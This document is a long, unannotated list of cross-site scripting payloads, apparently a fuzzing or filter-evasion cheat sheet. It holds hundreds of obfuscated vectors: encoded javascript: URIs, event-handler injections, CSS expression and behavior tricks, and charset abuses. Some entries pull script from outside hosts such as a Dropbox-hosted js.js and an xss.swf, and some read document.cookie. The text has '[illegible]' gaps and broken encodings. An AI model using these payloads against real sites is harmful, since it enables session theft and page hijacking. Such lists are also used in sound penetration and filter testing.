cert;&NewLine;base64&NewLine;;PHNjcmlwdD5hbGVydCgxKTWvc2NyaXB0Pg=="&#09;&#10;&#1
1;>X</a>
http://www.google<script .com>alert(document.location)</script>
<a&#32;href&#61;&#91;&#00;&#93;"&#00;
onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a>
<img/src=@&#32;&#13; onerror=@ = prompt('&#49;')
<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
<script ^__^>alert(String.fromCharCode(49))</script ^__^
</style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script
&#32; :-(>
&#00;</form><input type&#61;"date" onfocus="alert(1)">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
<script /**/>/**/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/
***/</script /***/
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
<a href="javascript:void(0)"
onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
<script ~~~>alert(0%0)</script ~~~>
<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<iframe// src=javascript&colon;alert(1)
//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/
type='submit'>//
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
```

```

//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\
</script //|\\
</font></svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font></
style>
<a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
</plaintext></|\\><plaintext/onmouseover=prompt(1)
</svg>'<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29;
{Opera}
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%"
onmouseover="prompt(1)">
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/
helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/
helloworld_js_X.pdf">
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>

<%!--'<script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe/src \\/\onload = prompt(1)
<iframe/onreadystatechange=alert(1)
<svg/onload=alert(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=`` <div/onmouseover='alert(1)'">X</div>
http://www.<script>alert(1)</script .com
<iframe
src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&
Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&
Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&
Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t
&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Ta
b;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Ta
b;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
<svg><script ?>alert(1)
<iframe
src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&T
ab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
<img src=`xx:xx`onerror=alert(1)>
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/"></object>
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf"
allowsriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)">>X</a>
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074(''\u0061') worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.
\u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert(''\u0061')"></
script a=\u0061 & /=%2F
<script/src=data&colon;text/
j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
<script>+--+1--+alert(1)</script>
<body/onload=&lt;!--&gt;&#10alert(1)>
<script itworksinallbrowsers>/*<script* */alert(1)</script>

```

```
<img src ?itworksonchrome?\/onerror = alert(1)
<svg><script>\/&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-> alert(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa
href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<div/onmouseover='alert(1)'\> style="x:">
<--`<img/src=` onerror=alert(1)> --!>
<script/src=&#100&#97&#116&#97:text/
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&
#x00000072;&#x00074;(1)></script>
<div style="position:absolute;top:0;left:0;width:100%;height:100%"
onmouseover="prompt(1)" onclick="alert(1)">x</button>
"><img src=x onerror=window.open('https://www.google.com/');>
<form><button formaction=javascript:alert(1)>CLICKME
<math><a xlink:href="//jsfiddle.net/t846h/">click
<object data=data:text/html;base64,PHN2Zy9vbm9vYXVWQ9YWxlc3QoMik+></object>
<iframe src="data:text/html,
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></
iframe>
<a
href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&
#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&
#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#
60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
' "><\x3Cscript>javascript:alert(1)</script>
' "><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
<video src=1 href=1 onerror="javascript:alert(1)"></video>
<body src=1 href=1 onerror="javascript:alert(1)"></body>
<image src=1 href=1 onerror="javascript:alert(1)"></image>
<object src=1 href=1 onerror="javascript:alert(1)"></object>
<script src=1 href=1 onerror="javascript:alert(1)"></script>
<svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
<title onPropertyChange title
onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body
onMouseEnter>
<body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
<frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset
onScroll>
<script onReadyStateChange script
onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
<html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html
onMouseUp>
<body onPropertyChange body
onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
<svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
<body onPageHide body onPageHide="javascript:javascript:alert(1)"></body
onPageHide>
<body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body
onMouseOver>
<body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
<body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
<bgsound onPropertyChange bgsound
```

```
onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
<html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html
onMouseLeave>
<html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html
onMouseWheel>
<style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
<iframe onReadyStateChange iframe
onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
<body onPageShow body onPageShow="javascript:javascript:alert(1)"></body
onPageShow>
<style onReadyStateChange style
onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>
<frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset
onFocus>
<applet onError applet onError="javascript:javascript:alert(1)"></applet
onError>
<marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee
onStart>
<script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad>
<html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html
onMouseOver>
<html onMouseEnter html
onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>
<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body
onBeforeUnload>
<html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html
onMouseDown>
<marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee
onScroll>
<xml onPropertyChange xml
onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>
<frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset
onBlur>
<applet onReadyStateChange applet
onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>
<svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>
<html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html
onMouseOut>
<body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body
onMouseMove>
<body onResize body onResize="javascript:javascript:alert(1)"></body onResize>
<object onError object onError="javascript:javascript:alert(1)"></object
onError>
<body onPopState body onPopState="javascript:javascript:alert(1)"></body
onPopState>
<html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html
onMouseMove>
<applet onreadystatechange applet
onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>
<body onpagehide body onpagehide="javascript:javascript:alert(1)"></body
onpagehide>
<svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>
<applet onerror applet onerror="javascript:javascript:alert(1)"></applet
onerror>
<body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>
<body onunload body onunload="javascript:javascript:alert(1)"></body onunload>
<iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>
<body onload body onload="javascript:javascript:alert(1)"></body onload>
<html onmouseover html onmouseover="javascript:javascript:alert(1)"></html
onmouseover>
<object onbeforeload object
onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>
<body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body
onbeforeunload>
```

```
<body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>
<body onkeydown body onkeydown="javascript:javascript:alert(1)"></body
onkeydown>
<iframe onbeforeload iframe
onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
<iframe src iframe src="javascript:javascript:alert(1)"></iframe src>
<svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
<html onmousemove html onmousemove="javascript:javascript:alert(1)"></html
onmousemove>
<body onblur body onblur="javascript:javascript:alert(1)"></body onblur>
\x3Cscript>javascript:alert(1)</script>
'"`><script>/* *\x2Fjavascript:alert(1)// */</script>
<script>javascript:alert(1)</script\x0D
<script>javascript:alert(1)</script\x0A
<script>javascript:alert(1)</script\x0B
<script charset="\x22>javascript:alert(1)</script>
<!--\x3E<img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->
'"`>test</a>
'"`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p>
<a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>
<script>/* *\x2A/javascript:alert(1)// */</script>
<script>/* *\x00/javascript:alert(1)// */</script>
<style></style>\x3E</style>
<style></style>\x0D</style>
<style></style>\x09</style>
<style></style>\x20</style>
<style></style>\x0A</style>
'"`>ABC<div
style="font-family: 'foo'\x7Dx:expression(javascript:alert(1));/*';">DEF
'"`>ABC<div
style="font-family: 'foo'\x3Bx:expression(javascript:alert(1));/*';">DEF
<script>if("x\xE1\x96\x89".length==2) { javascript:alert(1);}</script>
<script>if("x\xE0\xB9\x92".length==2) { javascript:alert(1);}</script>
<script>if("x\xEE\xA9\x93".length==2) { javascript:alert(1);}</script>
'"`><\x3Cscript>javascript:alert(1)</script>
'"`><\x00script>javascript:alert(1)</script>
'"`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
'"`><\x00img src=xxx:x onerror=javascript:alert(1)>
<script src="data:text/plain\x2Cjavascript:alert(1)"></script>
<script src="data:\xD4\x8F,javascript:alert(1)"></script>
<script src="data:\xE0\xA4\x98,javascript:alert(1)"></script>
<script src="data:\xCB\x8F,javascript:alert(1)"></script>
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
```

[illegible]



[illegible]

```
"`'><script>\xE2\x80\x82javascript:alert(1)</script>
"`'><script>\xE2\x80\x86javascript:alert(1)</script>
"`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
"`'><script>\x0Bjavascript:alert(1)</script>
"`'><script>\x20javascript:alert(1)</script>
"`'><script>\xC2\xA0javascript:alert(1)</script>
"/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />
"/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x />
"/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x />
"/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x />
"/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x />
"/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x />
"/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x />
"/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x />
"/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />
<script\x2F>javascript:alert(1)</script>
<script\x20>javascript:alert(1)</script>
<script\x0D>javascript:alert(1)</script>
<script\x0A>javascript:alert(1)</script>
<script\x0C>javascript:alert(1)</script>
<script\x00>javascript:alert(1)</script>
<script\x09>javascript:alert(1)</script>
"><img src=x onerror=javascript:alert(1)>
"><img src=x onerror=javascript:alert('1')>
"><img src=x onerror=javascript:alert("1")>
"><img src=x onerror=javascript:alert(`1`)>
"><img src=x onerror=javascript:alert(('1'))>
"><img src=x onerror=javascript:alert(("1"))>
"><img src=x onerror=javascript:alert(`1`)>
"><img src=x onerror=javascript:alert(A)>
"><img src=x onerror=javascript:alert((A))>
"><img src=x onerror=javascript:alert(('A'))>
"><img src=x onerror=javascript:alert('A')>
"><img src=x onerror=javascript:alert(("A"))>
"><img src=x onerror=javascript:alert("A")>
"><img src=x onerror=javascript:alert(`A`)>
"><img src=x onerror=javascript:alert(`A`)>
`'"><img src=xxx:x onerror\x0B=javascript:alert(1)>
`'"><img src=xxx:x onerror\x00=javascript:alert(1)>
`'"><img src=xxx:x onerror\x0C=javascript:alert(1)>
`'"><img src=xxx:x onerror\x0D=javascript:alert(1)>
`'"><img src=xxx:x onerror\x20=javascript:alert(1)>
`'"><img src=xxx:x onerror\x0A=javascript:alert(1)>
`'"><img src=xxx:x onerror\x09=javascript:alert(1)>
<script>javascript:alert(1)<\x00/script>
<img src=# onerror\x3D"javascript:alert(1)" >
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
<video poster=javascript:javascript:alert(1)//
<body
onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br>
<br><br><br><br>...<br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br>
<br><br><br><br><br>...<br><br><br><br><br><br><br><br><br>...<br><br><br>
<br><input autofocus>
<form id=test onforminput=javascript:alert(1)><input></form><button form=test
onformchange=javascript:alert(1)>X
<video><source onerror="javascript:javascript:alert(1)">
<video onerror="javascript:javascript:alert(1)"><source>
<form><button formaction="javascript:javascript:alert(1)">X
<body oninput=javascript:alert(1)><input autofocus>
<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction
actiontype="statusline#http://google.com"
xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
<frameset onload=javascript:alert(1)>
```

```
<table background="javascript:javascript:alert(1)">
<!--<img src=x onerror=javascript:alert(1)//#>
<![><img src=x onerror=javascript:alert(1)//#>
<li style=list-style:url() onerror=javascript:alert(1)> <div
style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden
onload=javascript:alert(1)></div>
<head><base href="javascript:/"></head><body><a
href="/. /, javascript:alert(1)//#>XXX</a></body>
<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM
NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
<object data="data:text/html;base64,%(base64)s">
<embed src="data:text/html;base64,%(base64)s">
<b <script>alert(1)</script>0
<div id="div1"><input value="` `onmouseover=javascript:alert(1)"></div> <div
id="div2"></div><script>document.getElementById("div2").innerHTML =
document.getElementById("div1").innerHTML;</script>
<x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//#>
<embed src="javascript:alert(1)">

<image src="javascript:alert(1)">
<script src="javascript:alert(1)">
<div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x
<? foo="><script>javascript:alert(1)</script>">
<! foo="><script>javascript:alert(1)</script>">
</ foo="><script>javascript:alert(1)</script>">
<? foo="><x foo='?'><script>javascript:alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo"><script>javascript:alert(1)</script>">
<% foo><x foo="%"><script>javascript:alert(1)</script>">
<div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div>
<script>d.innerHTML=d.innerHTML</script>
<img \x00src=x onerror="alert(1)">
<img \x47src=x onerror="javascript:alert(1)">
<img \x11src=x onerror="javascript:alert(1)">
<img \x12src=x onerror="javascript:alert(1)">
<img\x47src=x onerror="javascript:alert(1)">
<img\x10src=x onerror="javascript:alert(1)">
<img\x13src=x onerror="javascript:alert(1)">
<img\x32src=x onerror="javascript:alert(1)">
<img\x47src=x onerror="javascript:alert(1)">
<img\x11src=x onerror="javascript:alert(1)">
<img \x47src=x onerror="javascript:alert(1)">
<img \x34src=x onerror="javascript:alert(1)">
<img \x39src=x onerror="javascript:alert(1)">
<img \x00src=x onerror="javascript:alert(1)">
<img src\x09=x onerror="javascript:alert(1)">
<img src\x10=x onerror="javascript:alert(1)">
<img src\x13=x onerror="javascript:alert(1)">
<img src\x32=x onerror="javascript:alert(1)">
<img src\x12=x onerror="javascript:alert(1)">
<img src\x11=x onerror="javascript:alert(1)">
<img src\x00=x onerror="javascript:alert(1)">
<img src\x47=x onerror="javascript:alert(1)">
<img src=x\x09onerror="javascript:alert(1)">
<img src=x\x10onerror="javascript:alert(1)">
<img src=x\x11onerror="javascript:alert(1)">
<img src=x\x12onerror="javascript:alert(1)">
<img src=x\x13onerror="javascript:alert(1)">
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
<img src=x onerror=\x09"javascript:alert(1)">
<img src=x onerror=\x10"javascript:alert(1)">
<img src=x onerror=\x11"javascript:alert(1)">
```

```

<img src=x onerror=\x12"javascript:alert(1)">
<img src=x onerror=\x32"javascript:alert(1)">
<img src=x onerror=\x00"javascript:alert(1)">
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>
javascript:alert(1)</script>" `>
<img src onerror "/" "'= alt=javascript:alert(1)//">
<title onpropertychange=javascript:alert(1)></title><title title=>
<a href=http://foo.bar/#x=`y`</a><img alt=""><img src=x:x
onerror=javascript:alert(1)></a>">
<!--[if]><script>javascript:alert(1)</script -->
<!--[if<img src=x onerror=javascript:alert(1)//> -->
<script src="/%(jscript)s"></script>
<script src="\%(jscript)s"></script>
<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object>
<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param
name=postdomevents /></object>
<a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X
<style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}*{-o-link-
source:current}]{color:red};</style>
<link rel=stylesheet href=data:,%7bx:expression(javascript:alert(1))%7d
<style>@import "data:,%7bx:expression(javascript:alert(1))%7D";</style>
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;"
onclick="javascript:alert(1);">XXX</a></a><a
href="javascript:javascript:alert(1)">XXX</a>
<style>*[{@import'%(css)s?}]</style>X
<div style="font-family:'foo&#10;;color:red;'">XXX
<div style="font-family:foo}color:red;">XXX
<div style=x:expression\28javascript:alert(1)\29>
<style>*{x:i1/2..i1/2~i1/2 i1/2 i1/2...i1/2~i1/2%1/2 i1/2 (javascript:alert(1))}</style>
<div style=content:url(%(svg)s)></div>
<div style="list-style:url(http://foo.f)
\20url(javascript:javascript:alert(1));">X
<div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div>
<script>with(document.getElementById("d"))innerHTML=innerHTML</script>
<div style="background:url(/f&#127;oo;color:red/*foo.jpg);">X
<div style="font-family:foo{bar;background:url(http://foo.f/oo;color:red/*
foo.jpg);">X
<div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;
#y];color:red;{</style>
<x style="background:url('x&#1;color:red;/*')">XXX</x>
<script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>
<script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function()
{javascript:alert(1)}),x</script>
<script>Object.__noSuchMethod__ = Function, [{<script>
[0].constructor.__('javascript:alert(1)')()</script>
<meta charset="x-imap4-modified-
utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AG0&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbA
BLAHIAdAAoADEAKQ&ACAAPABi
<meta charset="x-imap4-modified-
utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&&A9&11/script&X&>
<meta charset="mac-farsi">Â%scriptÂ%javascript:alert(1)Â%/scriptÂ%
X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >
1<set/xmlns=urn:schemas-microsoft-com:time`
style=`beh&#x41vior:url(#default#time2)` attributename=`innerHTML`
to=`&lt;img/src=&quot;x&quot;onerror=javascript:alert(1)&gt;`>
1<animate/xmlns=urn:schemas-microsoft-com:time
style=behavior:url(#default#time2) attributename=innerHTML
values=&lt;img/src=&quot;.&quot;onerror=javascript:alert(1)&gt;`>
<vmlframe xmlns=urn:schemas-microsoft-com:vml
style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=
(vml)s#xss></vmlframe>
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml

```

```

style=behavior:url(#default#vml);position:absolute
href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0
to=1000 /></a>
<a style="behavior:url(#default#AnchorClick);"
folder="javascript:javascript:alert(1)">XXX</a>
<x style="behavior:url(%(sct)s)">
<xml id="xss" src="% (htc)s"></xml> <label dataformatas="html" datasrc="#xss"
datafld="payload"></label>
<event-source src="% (event)s" onload="javascript:alert(1)">
<a href="javascript:javascript:alert(1)"><event-source src="data:application/x-
dom-event-stream,Event:click%0Adata:XXX%0A%0A">
<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t"
implementation="#default#time2"> <t:set attributeName="innerHTML"
targetElement="x"
to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:alert(1)&gt;">
<script>%(payload)s</script>
<script src= %(jscript)s></script>
<script language='javascript' src='%(jscript)s'></script>
<script>javascript:alert(1)</script>
<IMG SRC="javascript:javascript:alert(1);">
<IMG SRC=javascript:javascript:alert(1)>
<IMG SRC=`javascript:javascript:alert(1)`>
<SCRIPT SRC= %(jscript)s?<B>
<FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET>
<BODY ONLOAD=javascript:alert(1)>
<BODY ONLOAD=javascript:javascript:alert(1)>
<IMG SRC="jav ascript:javascript:alert(1);">
<BODY onload!#$%&()*~+-_.,:;?@[/\|^`=javascript:alert(1)>
<SCRIPT/SRC= %(jscript)s"></SCRIPT>
<<SCRIPT>%(payload)s//<</SCRIPT>
<IMG SRC="javascript:javascript:alert(1)"
<iframe src= %(scriptlet)s <
<INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);">
<IMG DYNSRC="javascript:javascript:alert(1)">
<IMG LOWSRC="javascript:javascript:alert(1)">
<BGSOUND SRC="javascript:javascript:alert(1);">
<BR SIZE="{javascript:alert(1)}">
<LAYER SRC= "% (scriptlet)s"></LAYER>
<LINK REL="stylesheet" HREF="javascript:javascript:alert(1);">
<STYLE>@import' %(css)s';</STYLE>
<META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
<XSS STYLE="behavior: url(% (htc)s);">
<STYLE>li {list-style-image:
url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);">
<META HTTP-EQUIV="refresh" CONTENT="0;
URL=http://;URL=javascript:javascript:alert(1);">
<IFRAME SRC="javascript:javascript:alert(1);"></IFRAME>
<TABLE BACKGROUND="javascript:javascript:alert(1)">
<TABLE><TD BACKGROUND="javascript:javascript:alert(1)">
<DIV STYLE="background-image: url(javascript:javascript:alert(1))">
<DIV STYLE="width:expression(javascript:alert(1));">
<IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))">
<XSS STYLE="xss:expression(javascript:alert(1))">
<STYLE TYPE="text/javascript">javascript:alert(1);</STYLE>
<STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A
CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1))"}</
STYLE>
<!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->
<BASE HREF="javascript:javascript:alert(1);//">
